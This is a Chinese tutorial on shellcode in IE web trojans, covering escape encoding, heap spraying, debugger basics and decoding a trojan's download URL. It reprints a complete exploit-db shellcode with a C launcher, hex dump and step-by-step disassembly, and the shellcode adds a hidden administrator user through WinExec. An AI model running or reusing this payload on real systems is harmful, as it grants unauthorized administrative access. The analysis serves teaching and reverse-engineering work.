IE安全系列:指令碼先鋒(III)--網馬中的Shellcode

wyzsk發表於2020-08-19
作者: blast · 2015/05/21 10:02

本文V.1,V.2兩節也將盡量只從指令碼的角度來解釋部分內容,第三部分將從例項中簡單總結一下通用SHELLCODE的實現方法。 下一章指令碼先鋒IV中,將介紹簡單的shellcode分析方式。至於與其他系統安全機制結合起來的內容,“指令碼先鋒”系列中暫時就不提了,而將留在後續章節中介紹。

V.1 何為Shellcode,除錯工具簡單介紹(OD、Windbg)


shellcode本是指獲得一個shell的程式碼,也或者是達到特定目的的程式碼,網馬中利用IE漏洞的“Shellcode”一詞,大多數就是指這樣的程式碼集合

enter image description here

圖:PE檔案中位元組和對應的反彙編語句

誠如所見,如果要透過機器碼實行一段有意義的操作,程式碼中很可能會包含非可列印字元、擴充套件字元。其中,特別是擴充套件字元可能因為使用者機器語言環境不同產生歧義。如下圖,如果採用明文的方式,4個位元組的內容在使用者機器上長度會被判斷為3(中文系統預設設定為例),這會導致在鋪設shellcode時長度無法準確計算,在利用漏洞時會產生大量的不便。

enter image description here

enter image description here

因此在佈置shellcode時通常都會將其escape編碼。escape很簡單,也即將字元重新改為字元的ASCII值的十六進位制形式,並加上百分號。

Unescape能解開的資料有多種形式,常見的為:

%XX,XX為字元的ASCII值;

%uAABBAABB為unicode字元的ASCII值,如果要把這個結果當成多位元組資料來處理時,此時相當於%BB%AA;

以下並不算嚴格的“解開”,但是也算是一種編碼格式,因此也包含進去了:

\OO\xHH,最普通的字串轉義形式,即類C語法中的\轉義符號(最常見的比如\n\r\0);

\uAABB,同%u。

escape不會對字母和數字進行編碼,也不會對* @ - _ + . / 這些字元編碼。其他所有的字元都會被轉義序列替換。

unesacpe則會對所有的符合上述“能解開”的內容進行解碼。

例如字元”|”,其ASCII值為124 (0x7c),經過ESCAPE編碼之後則為%7C

在網馬中還會出現一個名詞,這裡單獨介紹一下:

NOP sled(或者slide,slice): 指不會對程式碼執行產生太大影響的內容。或者至少是對要執行的shellcode不會影響太大的內容。

例如:

·nop0x90,但是噴射起來可能不是多方便,畢竟如果是想要覆蓋某些物件的虛表,那麼0x90909090這個地址必然是個不可能完成的任務,因為這個已經是核心態地址了,如果只是普通的緩衝區溢位使用這個也未嘗不可)

·or al,0c0x0c0c, 2位元組的sled,比較方便也極為常見,即使一路噴過去,最理想情況所需記憶體也不過160M而已,雖然實際肯定會大一些)

·or eax,0d0d0d0d0x0d 0x0d0d0d0d,5位元組,可能導致對齊問題,但是由於不常見也不一定會被記憶體檢測工具檢測到),等等。

透過記憶體噴射覆蓋某個已經釋放了的物件後,該物件的記憶體看起來會像:

enter image description here

圖:變數0x35fb03是某個class,free後該class的記憶體重新被nop sled佔據,當該物件內的成員函式被重新使用時,EIP將變為0x0c0c0c0c+offset

enter image description here

而0c0c0c0c處,則安排著有我們的shellcode,當然上面這個只是演示,所以放了一堆A在裡面。

由於0x0c0c只是會操作eax,一般不會產生什麼大影響,所以就可以任由它這麼覆蓋下去,而由於它是2個位元組的,所以相比非主流的0x0d對齊時“價效比”比較好。

enter image description here

圖:在Visual Studio 2008中模擬堆噴覆蓋一個已釋放的類的虛表

如果你也要做類似簡單的試驗,建議不要在2011之後的Visual Studio中去做,在這裡面會變得比較麻煩,2011中delete操作刪除一個物件後,該物件的地址會被置為0x8123。導致難以復現上述現象。

至於0x8123這個值也許之後可能大家會在分析其他軟體的時候發現,簡單介紹一下微軟的做法:

微軟在VS11 Beta中引入了這個功能,使用0x8123來解決UAF的問題,它的處理方案是相當於將原來的:

#!c++
delete p;

一句話給擴充套件為:

#!c++
delete p; 
(void*)p = (void*)0x00008123;

兩句。

而通常,程式設計師所寫的正確的釋放過程應當為

#!c++
delete p; p = NULL;

經過插入後變為了

#!c++
delete p; (void*)p = (void*)0x00008123; p = NULL;

三句。

在編譯器眼裡,這三句中,由於後兩句都是給同一個變數賦常量值,因而又會被自動最佳化為兩句

#!c++
delete p; p=NULL; 

看到了吧,如果正確釋放,VS插入的這句不會影響最終生成結果,而如果程式設計師忘記了p=NULL一句,最終結果將變為:

#!c++
delete p;  (void*)p = (void*)0x00008123; 

0x00008123位於Zero Pages(第0~15頁,地址範圍0x0~ 0x0000FFFF)中,因而如果被訪問到會導致程式觸發存取違例,因而這個地址可以被視為安全的。相對於更加頻繁出現的訪問0x00000000造成的空指標引用崩潰,如果程式設計師看到程式是訪問了0x00008123崩潰了,那麼立馬就應該知道是發生了釋放後引用的問題。這裡的內容具體可參考(1]。

Javascript堆噴的詳細內容具體可以參考《Heap fengshui in Javascript》一文。(2]之後的章節中我們也會介紹。

針對二進位制資料的除錯,常見的工具有OllyDbg、Windbg、IDA等等。個人習慣使用Windbg+IDA,二者的功能都相當強悍,當然,OllyDbg由於介面多彩,動態除錯的時候也是可以大幅提高工作效率的。

現在大致介紹一下這三個工具的最簡單功能,參考資料(3]有一些相關書目,如果有興趣的話可以參考一下這些書。

宣告:以下工具限於使用時長和環境等因素,介紹可能帶有個人的感情色彩,僅供參考,請根據需要自行選擇適合的工具。 OllyDbg:下載地址http://ollydbg.de ,Win7 建議使用OD2。

enter image description here

OD支援外掛,在無外掛情況下,OD支援解析DLL的匯出函式,設定Use Microsoft Symbol Server=1將從微軟的Symbol伺服器下載符號,但是似乎並不一定能解析成功,而且不支援顯示從一個系統函式開始的偏移(但是點選地址行,可以轉為$+X這樣的相對地址),例如上圖中ntdll.77279f72,在Windbg中能解析成如下可能的名稱範圍:

enter image description here

但是OD中只能顯示成地址。

該地址實際屬於ntdll!__RtlUserThreadStart,在Windbg中可以方便的看出來:

enter image description here

OD中Ctrl+G也不能顯示偏移,跳轉過去以後也不知道函式名:

enter image description here

OD會自動給你停在函式入口點(如果設定裡面有這麼設定的話),Windbg和IDA預設則不會。而且OD的著色系統應該是這三者中最清晰的了,除錯操作為:

F7:步入(Step-in),即如果當前語句是call ADDRESS的時候,按下F7後游標會停在該函式(ADDRESS)內;

F8:步過(Step-over),執行到下一條語句,如果當前語句是call ADDRESS,按下F8後會等這個函式執行完成,然後停在call ADDRESS後面一條的語句處;

F2:設定斷點,有斷點的地方會顯示紅色:

enter image description here

除錯斷點(int3)會讓語句在執行到斷點處時丟擲異常,偵錯程式收到之後就可以停在那條語句上了。這在除錯一個LOOP的時候非常有用,畢竟,如果一個LOOP要迴圈999次,你可不會想F8 999次吧,這時只需在LOOP外設定斷點,然後執行程式即可。

F9:執行程式,可以配合F2用;執行的時候程式就跑起來了,不出意外不會停止的,所以如果在除錯惡意程式碼請注意不要隨意的用這個命令;

Ctrl+F9:執行到返回。執行到當前函式的RETN為止;

F4:相當於F2+F9,先下斷點再執行;如果你的斷點是死程式碼(任何分支都不會走到上面去,那程式就跑起來了,也就是俗稱的跑飛了);

例如虛擬碼:

#!bash
IF (1)
      DO SOMETHING
ELSE
      DO OTHER THING  //DEAD

Windbg:Windbg跟隨著微軟的WDK而來,可以在安裝WDK時一併選上安裝,同時也可以單獨下載,具體的百度一下即可。Windbg分為32、64位版本,建議都裝上。

Windbg是文字介面,也許剛開始有些人會不適應,但是如果你用多了,你會發現這個東西真的是一個神器。

enter image description here

以下是常用命令:

.symfix 以及 .reload。 設定符號檔案為預設的微軟符號伺服器,然後重新載入符號,這時,如果有對應符號,之前顯示地址的內容就會顯示成函式名,看起來十分方便。

如果有私有符號和原始碼,可以透過.sympath+.reload來載入,這時可以同時對比原始碼除錯,在應付程式崩潰時非常有用。

p,步過。
t,步入。
g,執行。
pct,執行到下一個call或者ret。
k,顯示棧回溯。
kvn,顯示棧回溯,包括引數等資訊。
~*k,顯示所有執行緒的棧回溯。
!analyze -v,分析崩潰原因(崩潰時用)。
bp,設定斷點。
bc,清除斷點。
bl,顯示斷點。

具體的也可以參考Windbg的幫助文件。

IDA:IDA是一個非常有用的靜態動態分析工具,它的靜態分析支援顯示函式的結構:

enter image description here

同時,外掛可以支援生成虛擬碼(但是並不一定完全正確,僅供參考):

enter image description here

同時其對微軟的符號也支援的相當不錯,要開啟符號支援,編輯cfg/pdb.cfg即可指定符號伺服器。如果之前沒有設定,IDA最初可能還會提示你使用微軟的符號伺服器,所以可以不必太在意。

enter image description here

IDA的動態除錯功能支援bochs、win32 debugger、gdb、windbg:

enter image description here

Bochs debugger需要bochs安裝,然後IDA會使用bochsdbg.exe來完成動態除錯。

★IDA裡如果你不設定斷點就執行,程式是會直接跑起來的,不會停在任何地方,請注意!

Win32 debugger為例,操作大致同OD

F2在WinMain設定斷點,然後執行:

enter image description here

F8,步過。
F7,步入。
F9,執行。
F4,斷點並執行,相當於F2+F9。

可以看得出來,按鍵幾乎一致,不過它的符號支援要比OD強,載入了微軟符號後甚至顯示了各個Offset對應的含義:

enter image description here

而在od中結果替換掉的還是偏少:

enter image description here

而且,IDA中很多強悍功能都絕不足以在一節內概括說清楚,具體請參閱參考資料(2]。

V.2 網馬中的shellcode


解密-獲取下載地址,透過工具

在介紹完上述基本概念之後,我們再來介紹一下常量和變數的概念,這些簡單的概念將有助於我們瞭解最簡單的shellcode“解密”流程。

首先,常量,在程式語言中指不會變的量(雖然只要你想讓它變它完全可以變),這裡特指預設量,或者字面值。(英文是literal value,國內的書啊啥的都這麼翻譯,所以我也這麼寫了)。

簡單的說,比如你要呼叫函式:WinExec(“cmd.exe”, 1);

stdcall的WinExec引數壓棧順序如下:首先壓入最後一個引數1,然後壓入倒數第二個引數”cmd.exe”。當然,這裡壓入的是它的地址。

彙編程式碼類似於:

PUSH 1
PUSH ADDRESS_OF_CMD.EXE
CALL WinExec

而這個ADDRESS_OF_CMD.EXE則就是指向記憶體中已經存放好的字串”cmd.exe”的了。

如果不能理解,可以參考下圖:

enter image description here

請看,假設這片記憶體的初始地址是0x00000000(實際Win32並不可能,不過這裡只是演示,不必在意),那麼CMD.EXE字串的位置實際上是0x00000030

那麼上述呼叫WinExec的程式碼,如果也可以訪問這片記憶體,那麼它的程式碼就可以是:

PUSH 1
PUSH 0x00000030
CALL WinExec

網馬中WinExec是一個常用的函式,因為相對於ShellExecuteCreateProcess來說,它的程式碼更簡短,當然這也造成了它更容易被檢測查殺。 其他的函式還有URLDownloadToFileA/W,這是一個HTML成功溢位或者破壞瀏覽器記憶體之後首要要做的就是將木馬EXE執行起來。而要保證Shellcode的長度,顯然從伺服器下載木馬是最簡單可行的。(我也見過直接WriteFile把木馬寫到硬碟上的,不過那段Shellcode簡直大到令人髮指。)

URLDownloadToFile的第二個引數就是URL,因此這個URL極有可能也是明文存在SHELLCODE中的,找到這個地址無非對安全研究者比較重要,這對分析網馬的完整危害有較大作用。

所以,讓我們回到指令碼,觀察下列程式碼

enter image description here

閱讀程式碼很容易就可以知道SC為最終處理完的Shellcode。

將SC輸出,在瀏覽器中執行一下:

enter image description here

即可拿到解密後的shellcode,簡單的看一下,程式碼中出現了大量的重複內容:E2,而直接將內容Unescape也沒有看到像樣的明文,這時可以經驗得出,這段程式碼是被XOR加密過的,因此可以在工具中填入金鑰e2,然後解開即可看到常量部分,這個就是這段程式碼想要下載的檔案

enter image description here

這段程式碼的除錯放到下章再說,不過並不難,而且這個URL也失效了,所以你也大可參照下一節(V.3)的相關內容,如果覺得一切合適了,可以放心大膽的除錯。

V.3 Shellcode 123


最後,簡單介紹一下大家可能會比較在意的內容,這也是SHELLCODE編寫的一個必備條件之一,即shellcode如何獲得函式地址,更甚之,shellcode如何通用化呢?

先說一下如何手動獲得一個系統函式的地址。

enter image description here

圖:Dependency Walker顯示的ShellExecuteA匯出函式的偏移量。用該值加上DLL的 Image Base即可得到本機適用的函式地址(無ASLR情況下)。

enter image description here

圖:shell32.dll (32bit, 6.1.7601.18762)的Image Base

如上圖,無ASLR的環境下,該函式的地址是0x73800000 + 0x247bcd = 0x73a47bcd

enter image description here

圖:TencentDl.exe (32 bit)中的函式地址和模組起始地址。

0x75547bcd - 0x247bcd = 0x75300000 =>該模組當前的Image Base,這個值不同於檔案宣告的值的原因是開啟了ASLR。

可以試驗一下,ShellExecuteExA的偏移是0x247b32,則0x75300000+0x247b32=0x75547b32應該是該函式地址,查閱可知確實如此:

enter image description here

但是除了上面的ASLR的情況,微軟的庫函式的地址自己也會隨著系統變化、補丁更新等會發生變化,因此,硬編碼一個地址必然是不行的,那麼作為一個網馬,如何才能做到讓shellcode獲取所需API的地址呢?

讓我們參考一下exploit-db.com提供的shellcode (3]:

#!c++
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
      "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
      "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
      "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
      "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
      "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
      "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
      "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
      "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
      "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
      "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
      "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
      "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";

int main(int argc, char **argv){int (*f)();f = (int (*)())shellcode;(int)(*f)();}

作者(Giuseppe D'Amore)提供了以上的程式碼供檢驗(程式碼來源:https://www.exploit-db.com/exploits/33836/)。作用是在所有系統下新增一個使用者,效果如下:

enter image description here

enter image description here

圖:同一個程式碼在x86 XP SP3、x64 Win7 SP1下均成功地新增了使用者BroK3n。

具體是怎麼實現的呢,可以手動編譯一下上述C++程式,也可以透過工具來生成一個EXE測試:

enter image description here

enter image description here

圖:去除無效字元-生成EXE即可生成除錯用程式

附:提取出來的ASCII值

#!bash
31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e57696e4575f28b7a2401c7668b2c6f8b7a1c01c78b7caffc01c7684b336e01682042726f682f414444686f727320687472617468696e6973682041646d68726f75706863616c676874206c6f6826206e656844442026686e202f4168726f4b3368336e20426842726f4b68736572206865742075682f63206e686578652068636d642e89e5fe4d5331c05055ffd7

讓我們看一下反彙編後的結果:

#!bash
0:000> uf image00400000+0x5000
Flow analysis was incomplete, some code may be missing
image00400000+0x5000:
00405000 31d2            xor     edx,edx
00405002 b230            mov     dl,30h
00405004 648b12          mov     edx,dword ptr fs:[edx]
00405007 8b520c          mov     edx,dword ptr [edx+0Ch]
0040500a 8b521c          mov     edx,dword ptr [edx+1Ch]

image00400000+0x500d:
0040500d 8b4208          mov     eax,dword ptr [edx+8]
00405010 8b7220          mov     esi,dword ptr [edx+20h]
00405013 8b12            mov     edx,dword ptr [edx]
00405015 807e0c33        cmp     byte ptr [esi+0Ch],33h
00405019 75f2            jne     image00400000+0x500d (0040500d)

image00400000+0x501b:
0040501b 89c7            mov     edi,eax
0040501d 03783c          add     edi,dword ptr [eax+3Ch]
00405020 8b5778          mov     edx,dword ptr [edi+78h]
00405023 01c2            add     edx,eax
00405025 8b7a20          mov     edi,dword ptr [edx+20h]
00405028 01c7            add     edi,eax
0040502a 31ed            xor     ebp,ebp

image00400000+0x502c:
0040502c 8b34af          mov     esi,dword ptr [edi+ebp*4]
0040502f 01c6            add     esi,eax
00405031 45              inc     ebp
00405032 813e57696e45    cmp     dword ptr [esi],456E6957h
00405038 75f2            jne     image00400000+0x502c (0040502c)

image00400000+0x503a:
0040503a 8b7a24          mov     edi,dword ptr [edx+24h]
0040503d 01c7            add     edi,eax
0040503f 668b2c6f        mov     bp,word ptr [edi+ebp*2]
00405043 8b7a1c          mov     edi,dword ptr [edx+1Ch]
00405046 01c7            add     edi,eax
00405048 8b7caffc        mov     edi,dword ptr [edi+ebp*4-4]
0040504c 01c7            add     edi,eax
0040504e 684b336e01      push    16E334Bh
00405053 682042726f      push    6F724220h
00405058 682f414444      push    4444412Fh
0040505d 686f727320      push    2073726Fh
00405062 6874726174      push    74617274h
00405067 68696e6973      push    73696E69h
0040506c 682041646d      push    6D644120h
00405071 68726f7570      push    70756F72h
00405076 6863616c67      push    676C6163h
0040507b 6874206c6f      push    6F6C2074h
00405080 6826206e65      push    656E2026h
00405085 6844442026      push    26204444h
0040508a 686e202f41      push    412F206Eh
0040508f 68726f4b33      push    334B6F72h
00405094 68336e2042      push    42206E33h
00405099 6842726f4b      push    4B6F7242h
0040509e 6873657220      push    20726573h
004050a3 6865742075      push    75207465h
004050a8 682f63206e      push    6E20632Fh
004050ad 6865786520      push    20657865h
004050b2 68636d642e      push    2E646D63h
004050b7 89e5            mov     ebp,esp
004050b9 fe4d53          dec     byte ptr [ebp+53h]
004050bc 31c0            xor     eax,eax
004050be 50              push    eax
004050bf 55              push    ebp
004050c0 ffd7            call    edi

針對程式碼的分析還是老樣子,遵循按塊來的原則。另外,如果目前為止你對閱讀彙編程式碼還比較吃力,你也可以只看文字部分,瞭解個大概即可,之後還會詳細說這塊的內容的:

#!bash
image00400000+0x5000:
00405000 31d2            xor     edx,edx
00405002 b230            mov     dl,30h
00405004 648b12          mov     edx,dword ptr fs:[edx]
00405007 8b520c          mov     edx,dword ptr [edx+0Ch]
0040500a 8b521c          mov     edx,dword ptr [edx+1Ch]

image00400000+0x500d:
0040500d 8b4208          mov     eax,dword ptr [edx+8]
00405010 8b7220          mov     esi,dword ptr [edx+20h]
00405013 8b12            mov     edx,dword ptr [edx]
00405015 807e0c33        cmp     byte ptr [esi+0Ch],33h
00405019 75f2            jne     image00400000+0x500d (0040500d)

這個迴圈所做的事情是:獲取kernel32.dll的基址。

為何這段程式碼可以做到這點呢?

#!bash
00405000 31d2            xor     edx,edx
00405002 b230            mov     dl,30h
00405004 648b12          mov     edx,dword ptr fs:[edx]

相當於mov edx, dword ptr fs:[0x30],但是如果直接這麼寫會在裡面混入NULLCHAR,(MOV EDX,DWORD PTR FS:[30] 的機器碼是 64 8B15 30000000),有損通用性,所以作者使用了這個方式。FS:[0x30]存放著PEB指標,因此這段程式碼執行後,edx即為PEB的指標。

#!c++
00405007 8b520c          mov     edx,dword ptr [edx+0Ch]
0040500a 8b521c          mov     edx,dword ptr [edx+1Ch]

這兩行程式碼的作用是獲取InInitializationOrderModuleList的地址。這個裡面存放著PE載入時初始化用到的模組資訊。

具體看一下PEB的結構就知道

#!c++
dt _PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsLegacyProcess  : Pos 2, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit
   +0x003 SpareBits        : Pos 5, 3 Bits
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS

可見第一句獲取了_PEB_LDR_DATA的指標,然後第二句就拿到了InInitializationOrderModuleList

#!c++
dt _PEB_LDR_DATA
ntdll!_PEB_LDR_DATA
   +0x000 Length           : Uint4B
   +0x004 Initialized      : UChar
   +0x008 SsHandle         : Ptr32 Void
   +0x00c InLoadOrderModuleList : _LIST_ENTRY
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY
   +0x024 EntryInProgress  : Ptr32 Void
   +0x028 ShutdownInProgress : UChar
   +0x02c ShutdownThreadId : Ptr32 Void

enter image description here

可以看到

enter image description here

enter image description here

這個連結串列中就存著模組地址

#!bash
image00400000+0x500d:
0040500d 8b4208          mov     eax,dword ptr [edx+8]
00405010 8b7220          mov     esi,dword ptr [edx+20h]
00405013 8b12            mov     edx,dword ptr [edx]
00405015 807e0c33        cmp     byte ptr [esi+0Ch],33h
00405019 75f2            jne     image00400000+0x500d (0040500d)

所以上述程式碼就在不斷尋找kernel32.dll的地址,edx+8就是地址,edx+20h則為函式名字,ASCII 0x33是字元”3”,因此它在比較第7個字(0xC == 12 (dec))是否為“3”,因為這些按順序載入的模組也就kernel32在第七個字上是3了,所以這個還是比較準的。

enter image description here

接著,找到所需的匯出函式: image00400000+0x501b: 0040501b 89c7 mov edi,eax 0040501d 03783c add edi,dword ptr [eax+3Ch] 00405020 8b5778 mov edx,dword ptr [edi+78h] 00405023 01c2 add edx,eax 00405025 8b7a20 mov edi,dword ptr [edx+20h] 00405028 01c7 add edi,eax 0040502a 31ed xor ebp,ebp

也就是上述程式碼所幹的事情,找到kernel32地址之後,+0x3C就是PE頭,PEHEADER處+0x78的地方是匯出表的指標,匯出表指標+0x20處是匯出函式名的列表,教科書一樣的操作。

#!bash
image00400000+0x502c:
0040502c 8b34af          mov     esi,dword ptr [edi+ebp*4]
0040502f 01c6            add     esi,eax
00405031 45              inc     ebp
00405032 813e57696e45    cmp     dword ptr [esi],456E6957h
00405038 75f2            jne     image00400000+0x502c (0040502c)

然後,只要找到所需函式即可,這裡作者需要的是包含0x456e6957的函式,

enter image description here

事實上很簡單就能猜到作者想要的是WinExec。

#!bash
image00400000+0x503a:
0040503a 8b7a24          mov     edi,dword ptr [edx+24h]
0040503d 01c7            add     edi,eax
0040503f 668b2c6f        mov     bp,word ptr [edi+ebp*2]
00405043 8b7a1c          mov     edi,dword ptr [edx+1Ch]
00405046 01c7            add     edi,eax
00405048 8b7caffc        mov     edi,dword ptr [edi+ebp*4-4]
0040504c 01c7            add     edi,eax

事實上這裡作者就計算出了函式的偏移+模組地址=函式地址,還記得半頁紙前我說的“笨”計算方法吧。

#!bash
0040504e 684b336e01      push    16E334Bh
00405053 682042726f      push    6F724220h
00405058 682f414444      push    4444412Fh
0040505d 686f727320      push    2073726Fh
00405062 6874726174      push    74617274h
00405067 68696e6973      push    73696E69h
…………

這一些就是之前所說的“常量”部分,

enter image description here

執行一下看看esp上存了啥吧,這樣就一目瞭然了。最終,作者call esi,呼叫WinExec啟動cmd,這樣就新增上了使用者。可惜作者沒處理ExitProcess,最終程式的環境被弄得一塌糊塗,免不了崩潰收場。但是作者的目的達到了,使用者都加上了,崩潰也無妨。

參考資料


(1] http://blogs.microsoft.com/cybertrust/2012/04/24/guarding-against-re-use-of-stale-object-references/

(2] heap fengshui in javascript: https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf

(3] 《Windows高階除錯》(Windbg)、《IDA Pro權威指南》(IDA)、《逆向工程核心原理》部分章節(OllyDbg,內容非常基礎向,並沒有書名看起來那麼高深:))

(4] https://www.exploit-db.com/shellcode/

(5] 文中提到的相關惡意程式碼下載,密碼 drops.wooyun.org,請在虛擬環境除錯。 Downloads

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章